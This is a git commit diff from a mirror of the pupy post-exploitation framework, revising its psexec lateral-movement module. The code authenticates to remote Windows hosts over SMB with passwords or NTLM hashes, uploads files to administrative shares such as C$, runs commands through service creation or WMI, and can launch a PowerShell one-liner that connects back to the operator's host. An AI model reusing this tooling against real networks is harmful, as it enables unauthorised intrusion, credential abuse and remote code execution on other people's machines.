mirror of https://github.com/n1nj4sec/pupy.git
psexec improvements
This commit is contained in:
parent
24998d3bcc
commit
8cce75bc9c
|
@ -33,6 +33,8 @@ class PSExec(PupyModule):
|
|||
self.arg_parser.add_argument("-H", metavar="HASH", dest='hash', default='', help='NTLM hash')
|
||||
self.arg_parser.add_argument("-d", metavar="DOMAIN", dest='domain', default="WORKGROUP", help="Domain name (default WORKGROUP)")
|
||||
self.arg_parser.add_argument("-s", metavar="SHARE", dest='share', default="C$", help="Specify a share (default C$)")
|
||||
self.arg_parser.add_argument("-T", metavar="TIMEOUT", dest='timeout', default=30, type=int,
|
||||
help="Try to set this timeout")
|
||||
self.arg_parser.add_argument("--port", dest='port', type=int, choices={139, 445}, default=445, help="SMB port (default 445)")
|
||||
self.arg_parser.add_argument("target", nargs=1, type=str, help="The target range or CIDR identifier")
|
||||
|
||||
|
@ -59,6 +61,7 @@ class PSExec(PupyModule):
|
|||
remote_path = ''
|
||||
dst_folder = ''
|
||||
file_to_upload = []
|
||||
files_uploaded = []
|
||||
if args.file or args.ps1:
|
||||
|
||||
tmp_dir = tempfile.gettempdir()
|
||||
|
@ -112,10 +115,11 @@ class PSExec(PupyModule):
|
|||
|
||||
self.info("Uploading file to {0}".format(dst))
|
||||
upload(self.client.conn, src, dst, chunk_size=4*1024*1024)
|
||||
files_uploaded.append(dst)
|
||||
self.success("File uploaded")
|
||||
|
||||
if args.ps1_oneliner:
|
||||
res=self.client.conn.modules['pupy'].get_connect_back_host()
|
||||
res = self.client.conn.modules['pupy'].get_connect_back_host()
|
||||
ip, port = res.rsplit(':', 1)
|
||||
|
||||
no_use_proxy = ''
|
||||
|
@ -137,19 +141,27 @@ class PSExec(PupyModule):
|
|||
|
||||
self.success('server started (pid: %s)' % process.pid)
|
||||
|
||||
with redirected_stdo(self):
|
||||
for host in hosts:
|
||||
self.info("Connecting to the remote host: %s" % host)
|
||||
self.client.conn.modules["pupyutils.psexec"].connect(
|
||||
host, args.port, args.user, args.passwd, args.hash,
|
||||
args.share, file_to_upload, remote_path, dst_folder,
|
||||
args.command, args.domain, args.execm, args.codepage
|
||||
)
|
||||
try:
|
||||
with redirected_stdo(self):
|
||||
for host in hosts:
|
||||
self.client.conn.modules["pupyutils.psexec"].connect(
|
||||
host, args.port, args.user, args.passwd, args.hash,
|
||||
args.share, file_to_upload, remote_path, dst_folder,
|
||||
args.command, args.domain, args.execm, args.codepage,
|
||||
args.timeout
|
||||
)
|
||||
|
||||
if args.ps1_oneliner:
|
||||
self.warning('stopping the local server (pid: %s)' % process.pid)
|
||||
process.terminate()
|
||||
if args.ps1_oneliner:
|
||||
self.warning('stopping the local server (pid: %s)' % process.pid)
|
||||
process.terminate()
|
||||
|
||||
elif args.ps1:
|
||||
self.warning('Do not forget to remove the file: %s' % dst_folder + first_stage)
|
||||
self.warning('Do not forget to remove the file: %s' % dst_folder + second_stage)
|
||||
elif args.ps1:
|
||||
self.warning('Do not forget to remove the file: %s' % dst_folder + first_stage)
|
||||
self.warning('Do not forget to remove the file: %s' % dst_folder + second_stage)
|
||||
|
||||
finally:
|
||||
for file in files_uploaded:
|
||||
try:
|
||||
self.client.conn.modules.os.unlink(file)
|
||||
except:
|
||||
pass
|
||||
|
|
|
@ -15,73 +15,16 @@ import os
|
|||
import string
|
||||
|
||||
PERM_DIR = ''.join(random.sample(string.ascii_letters, 10))
|
||||
OUTPUT_FILENAME = ''.join(random.sample(string.ascii_letters, 10))
|
||||
BATCH_FILENAME = ''.join(random.sample(string.ascii_letters, 10)) + '.bat'
|
||||
SMBSERVER_DIR = ''.join(random.sample(string.ascii_letters, 10))
|
||||
DUMMY_SHARE = 'TMP'
|
||||
|
||||
class SMBServer():
|
||||
def __init__(self):
|
||||
if os.geteuid() != 0:
|
||||
raise('[!] Error: ** SMB Server must be run as root **')
|
||||
|
||||
def cleanup_server(self):
|
||||
print '[*] Cleaning up..'
|
||||
try:
|
||||
os.unlink(SMBSERVER_DIR + '/smb.log')
|
||||
except:
|
||||
pass
|
||||
os.rmdir(SMBSERVER_DIR)
|
||||
|
||||
def run(self):
|
||||
# Here we write a mini config for the server
|
||||
smbConfig = ConfigParser.ConfigParser()
|
||||
smbConfig.add_section('global')
|
||||
smbConfig.set('global','server_name','server_name')
|
||||
smbConfig.set('global','server_os','UNIX')
|
||||
smbConfig.set('global','server_domain','WORKGROUP')
|
||||
smbConfig.set('global','log_file',SMBSERVER_DIR + '/smb.log')
|
||||
smbConfig.set('global','credentials_file','')
|
||||
|
||||
# Let's add a dummy share
|
||||
smbConfig.add_section(DUMMY_SHARE)
|
||||
smbConfig.set(DUMMY_SHARE,'comment','')
|
||||
smbConfig.set(DUMMY_SHARE,'read only','no')
|
||||
smbConfig.set(DUMMY_SHARE,'share type','0')
|
||||
smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR)
|
||||
|
||||
# IPC always needed
|
||||
smbConfig.add_section('IPC$')
|
||||
smbConfig.set('IPC$','comment','')
|
||||
smbConfig.set('IPC$','read only','yes')
|
||||
smbConfig.set('IPC$','share type','3')
|
||||
smbConfig.set('IPC$','path')
|
||||
|
||||
self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
|
||||
print '[*] Creating tmp directory'
|
||||
try:
|
||||
os.mkdir(SMBSERVER_DIR)
|
||||
except Exception, e:
|
||||
print '[!]', e
|
||||
pass
|
||||
print '[*] Setting up SMB Server'
|
||||
self.smb.processConfigFile()
|
||||
print '[*] Ready to listen...'
|
||||
try:
|
||||
self.smb.serve_forever()
|
||||
except:
|
||||
pass
|
||||
|
||||
def stop(self):
|
||||
self.cleanup_server()
|
||||
self.smb.socket.close()
|
||||
self.smb.server_close()
|
||||
|
||||
class RemoteShellsmbexec():
|
||||
def __init__(self, share, rpc, mode, serviceName, command):
|
||||
class RemoteShellsmbexec(object):
|
||||
def __init__(self, share, rpc, mode, serviceName, command, timeout):
|
||||
self.__share = share
|
||||
self.__mode = mode
|
||||
self.__output = '\\Windows\\Temp\\' + OUTPUT_FILENAME
|
||||
self.__output_filename = ''.join(random.sample(string.ascii_letters, 10))
|
||||
self.__output = '\\Windows\\Temp\\' + self.__output_filename
|
||||
self.__batchFile = '%TEMP%\\' + BATCH_FILENAME
|
||||
self.__outputBuffer = ''
|
||||
self.__command = command
|
||||
|
@ -89,6 +32,7 @@ class RemoteShellsmbexec():
|
|||
self.__serviceName = serviceName
|
||||
self.__rpc = rpc
|
||||
self.__scmr = rpc.get_dce_rpc()
|
||||
self.__timeout = timeout
|
||||
|
||||
try:
|
||||
self.__scmr.connect()
|
||||
|
@ -98,8 +42,7 @@ class RemoteShellsmbexec():
|
|||
|
||||
s = rpc.get_smb_connection()
|
||||
|
||||
# We don't wanna deal with timeouts from now on.
|
||||
s.setTimeout(100000)
|
||||
s.setTimeout(self.__timeout)
|
||||
if mode == 'SERVER':
|
||||
myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
|
||||
self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
|
||||
|
@ -112,12 +55,6 @@ class RemoteShellsmbexec():
|
|||
except Exception as e:
|
||||
print "[-] {}".format(e)
|
||||
|
||||
def set_copyback(self):
|
||||
s = self.__rpc.get_smb_connection()
|
||||
s.setTimeout(100000)
|
||||
myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
|
||||
self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
|
||||
|
||||
def finish(self):
|
||||
# Just in case the service is still created
|
||||
try:
|
||||
|
@ -139,25 +76,14 @@ class RemoteShellsmbexec():
|
|||
self.__outputBuffer += data
|
||||
|
||||
if self.__mode == 'SHARE':
|
||||
|
||||
#while True:
|
||||
# try:
|
||||
self.transferClient.getFile(self.__share, self.__output, output_callback)
|
||||
# break
|
||||
# except Exception, e:
|
||||
# if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
# time.sleep(1)
|
||||
# pass
|
||||
# else:
|
||||
# print str(e)
|
||||
# pass
|
||||
self.transferClient.deleteFile(self.__share, self.__output)
|
||||
|
||||
else:
|
||||
fd = open(SMBSERVER_DIR + '/' + OUTPUT_FILENAME,'r')
|
||||
fd = open(SMBSERVER_DIR + '/' + self.__output_filename, 'r')
|
||||
output_callback(fd.read())
|
||||
fd.close()
|
||||
os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME)
|
||||
os.unlink(SMBSERVER_DIR + '/' + self.__output_filename)
|
||||
|
||||
def execute_remote(self, data):
|
||||
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
|
||||
|
@ -185,14 +111,15 @@ class RemoteShellsmbexec():
|
|||
self.__outputBuffer = ''
|
||||
return result
|
||||
|
||||
class CMDEXEC:
|
||||
class CMDEXEC(object):
|
||||
KNOWN_PROTOCOLS = {
|
||||
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
|
||||
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
|
||||
}
|
||||
}
|
||||
|
||||
def __init__(self, protocols=None, username='', password='',
|
||||
domain='', hashes='', share=None, command=None, timeout=30):
|
||||
|
||||
def __init__(self, protocols = None, username = '', password = '', domain = '', hashes = '', share = None, command= None):
|
||||
if not protocols:
|
||||
protocols = CMDEXEC.KNOWN_PROTOCOLS.keys()
|
||||
|
||||
|
@ -208,6 +135,8 @@ class CMDEXEC:
|
|||
self.__doKerberos = None
|
||||
self.__share = share
|
||||
self.__mode = 'SHARE'
|
||||
self.__timeout = timeout
|
||||
|
||||
if hashes:
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
|
||||
|
@ -229,10 +158,19 @@ class CMDEXEC:
|
|||
|
||||
if hasattr(rpctransport, 'set_credentials'):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
|
||||
rpctransport.set_credentials(
|
||||
self.__username, self.__password,
|
||||
self.__domain, self.__lmhash,
|
||||
self.__nthash, self.__aesKey
|
||||
)
|
||||
|
||||
try:
|
||||
self.shell = RemoteShellsmbexec(self.__share, rpctransport, self.__mode, self.__serviceName, self.__command)
|
||||
self.shell = RemoteShellsmbexec(
|
||||
self.__share, rpctransport, self.__mode, self.__serviceName,
|
||||
self.__command, self.__timeout
|
||||
)
|
||||
result = self.shell.send_data(self.__command)
|
||||
|
||||
except SessionError as e:
|
||||
if 'STATUS_SHARING_VIOLATION' in str(e):
|
||||
return
|
||||
|
@ -244,12 +182,11 @@ class CMDEXEC:
|
|||
traceback.print_exc()
|
||||
self.shell.finish()
|
||||
sys.stdout.flush()
|
||||
# sys.exit(1)
|
||||
|
||||
return result
|
||||
|
||||
class WMIEXEC:
|
||||
def __init__(self, command = '', username = '', password = '', domain = '', hashes = '', share = None, noOutput=True):
|
||||
def __init__(self, command='', username='', password='', domain='', hashes='', share=None, noOutput=True):
|
||||
self.__command = command
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
|
@ -286,19 +223,21 @@ class WMIEXEC:
|
|||
return result
|
||||
|
||||
class RemoteShellwmi():
|
||||
def __init__(self, share, win32Process, smbConnection):
|
||||
def __init__(self, share, win32Process, smbConnection, timeout=10):
|
||||
self.__share = share
|
||||
self.__output = '\\' + OUTPUT_FILENAME
|
||||
self.__output_filename = ''.join(random.sample(string.ascii_letters, 10))
|
||||
self.__output = '\\' + self.__output_filename
|
||||
self.__outputBuffer = ''
|
||||
self.__shell = 'cmd.exe /Q /c '
|
||||
self.__win32Process = win32Process
|
||||
self.__transferClient = smbConnection
|
||||
self.__pwd = 'C:\\'
|
||||
self.__noOutput = False
|
||||
self.__timeout = timeout
|
||||
|
||||
# We don't wanna deal with timeouts from now on.
|
||||
if self.__transferClient is not None:
|
||||
self.__transferClient.setTimeout(100000)
|
||||
self.__transferClient.setTimeout(self.__timeout)
|
||||
else:
|
||||
self.__noOutput = True
|
||||
|
||||
|
@ -310,17 +249,16 @@ class RemoteShellwmi():
|
|||
self.__outputBuffer = ''
|
||||
return
|
||||
|
||||
while True:
|
||||
timeout = self.__timeout
|
||||
|
||||
while timeout:
|
||||
try:
|
||||
self.__transferClient.getFile(self.__share, self.__output, output_callback)
|
||||
break
|
||||
except Exception, e:
|
||||
if "STATUS_SHARING_VIOLATION" in str(e):
|
||||
time.sleep(1)
|
||||
pass
|
||||
else:
|
||||
#print str(e)
|
||||
pass
|
||||
time.sleep(1)
|
||||
timeout -= 1
|
||||
|
||||
self.__transferClient.deleteFile(self.__share, self.__output)
|
||||
|
||||
def execute_remote(self, data):
|
||||
|
@ -336,16 +274,16 @@ class RemoteShellwmi():
|
|||
self.__outputBuffer = ''
|
||||
return result
|
||||
|
||||
|
||||
def upload_file(smbconn, host, src, dst):
|
||||
dst = string.replace(dst,'/','\\')
|
||||
def fix_upload_path(dst):
|
||||
dst = string.replace(dst, '/', '\\')
|
||||
dst = os.path.normpath(dst)
|
||||
dst = dst.split('\\')
|
||||
share = dst[0].replace(':', '$')
|
||||
dst = '\\'.join(dst[1:])
|
||||
dst = '\\' + '\\'.join(dst[1:])
|
||||
return os.path.normpath(dst)
|
||||
|
||||
def upload_file(smbconn, host, src, share, dst):
|
||||
if os.path.exists(src):
|
||||
print '[+] Starting upload: %s (%s bytes)' % (src, os.path.getsize(src))
|
||||
print '[+] Starting upload: %s -> %s: %s (%s bytes)' % (src, share, dst, os.path.getsize(src))
|
||||
upFile = open(src, 'rb')
|
||||
try:
|
||||
smbconn.putFile(share, dst, upFile.read)
|
||||
|
@ -358,25 +296,47 @@ def upload_file(smbconn, host, src, dst):
|
|||
upFile.close()
|
||||
else:
|
||||
print '[!] Invalid source. File does not exist'
|
||||
|
||||
return False
|
||||
|
||||
def connect(host, port, user, passwd, hash, share, file_to_upload, src_folder, dst_folder, command, domain="workgroup", execm="smbexec", codepage='cp437'):
|
||||
def connect(host, port, user, passwd, hash, share, file_to_upload,
|
||||
src_folder, dst_folder, command,
|
||||
domain='workgroup', execm='smbexec', codepage='cp437', timeout=30):
|
||||
try:
|
||||
smb = SMBConnection(host, host, None, port, timeout=2)
|
||||
try:
|
||||
smb.login('' , '')
|
||||
except SessionError as e:
|
||||
if "STATUS_ACCESS_DENIED" in e.message:
|
||||
pass
|
||||
lmhash = ''
|
||||
nthash = ''
|
||||
if hash:
|
||||
if not ':' in hash:
|
||||
print '[!] Invalid hash format: LM:NT'
|
||||
return
|
||||
|
||||
print "[+] {}:{} is running {} (name:{}) (domain:{})".format(host, port, smb.getServerOS(), smb.getServerName(), domain)
|
||||
lmhash, nthash = hash.split(':')
|
||||
|
||||
login_ok = False
|
||||
|
||||
print '[+] psexec: {}:{} ({})'.format(host, port, command)
|
||||
smb = SMBConnection(host, host, None, port, timeout=timeout)
|
||||
try:
|
||||
smb.login(user, passwd, domain, lmhash, nthash)
|
||||
login_ok = True
|
||||
except SessionError as e:
|
||||
if 'STATUS_ACCESS_DENIED' in e.message:
|
||||
pass
|
||||
except Exception, e:
|
||||
print "[!] {}".format(e)
|
||||
return
|
||||
|
||||
print "[+] {}:{} is running {} (name:{}) (domain:{})".format(
|
||||
host, port, smb.getServerOS(), smb.getServerName(), domain)
|
||||
|
||||
if not login_ok:
|
||||
print "[!] Login failed"
|
||||
return
|
||||
|
||||
if file_to_upload and not command:
|
||||
# execute exe file
|
||||
if len(file_to_upload) == 1:
|
||||
command = os.path.join(
|
||||
dst_folder, file_to_upload[0]
|
||||
)
|
||||
command = fix_upload_path(os.path.join(dst_folder, file_to_upload[0]))
|
||||
|
||||
# execute ps1 file
|
||||
else:
|
||||
|
@ -384,23 +344,20 @@ def connect(host, port, user, passwd, hash, share, file_to_upload, src_folder, d
|
|||
|
||||
if command:
|
||||
try:
|
||||
lmhash = ''
|
||||
nthash = ''
|
||||
if hash:
|
||||
lmhash, nthash = hash.split(':')
|
||||
|
||||
smb.login(user, passwd, domain, lmhash, nthash)
|
||||
|
||||
if file_to_upload:
|
||||
for file in file_to_upload:
|
||||
if upload_file(smb, host, src_folder + file, dst_folder + file):
|
||||
os.remove(src_folder + file)
|
||||
src_file = os.path.join(src_folder, file)
|
||||
dst_file = fix_upload_path(os.path.join(dst_folder, file))
|
||||
upload_file(smb, host, src_file, share, dst_file)
|
||||
|
||||
if command:
|
||||
print "Execute: {}".format(command)
|
||||
|
||||
if execm == 'smbexec':
|
||||
executer = CMDEXEC('{}/SMB'.format(port), user, passwd, domain, hash, share, command)
|
||||
executer = CMDEXEC(
|
||||
'{}/SMB'.format(port), user, passwd,
|
||||
domain, hash, share, command, timeout
|
||||
)
|
||||
result = executer.run(host)
|
||||
|
||||
elif execm == 'wmi':
|
||||
|
@ -417,5 +374,5 @@ def connect(host, port, user, passwd, hash, share, file_to_upload, src_folder, d
|
|||
except Exception as e:
|
||||
print "[-] {}:{} {}".format(host, port, e)
|
||||
|
||||
except Exception as e:
|
||||
except Exception, e:
|
||||
print "[!] {}".format(e)
|
||||
|
|
Loading…
Reference in New Issue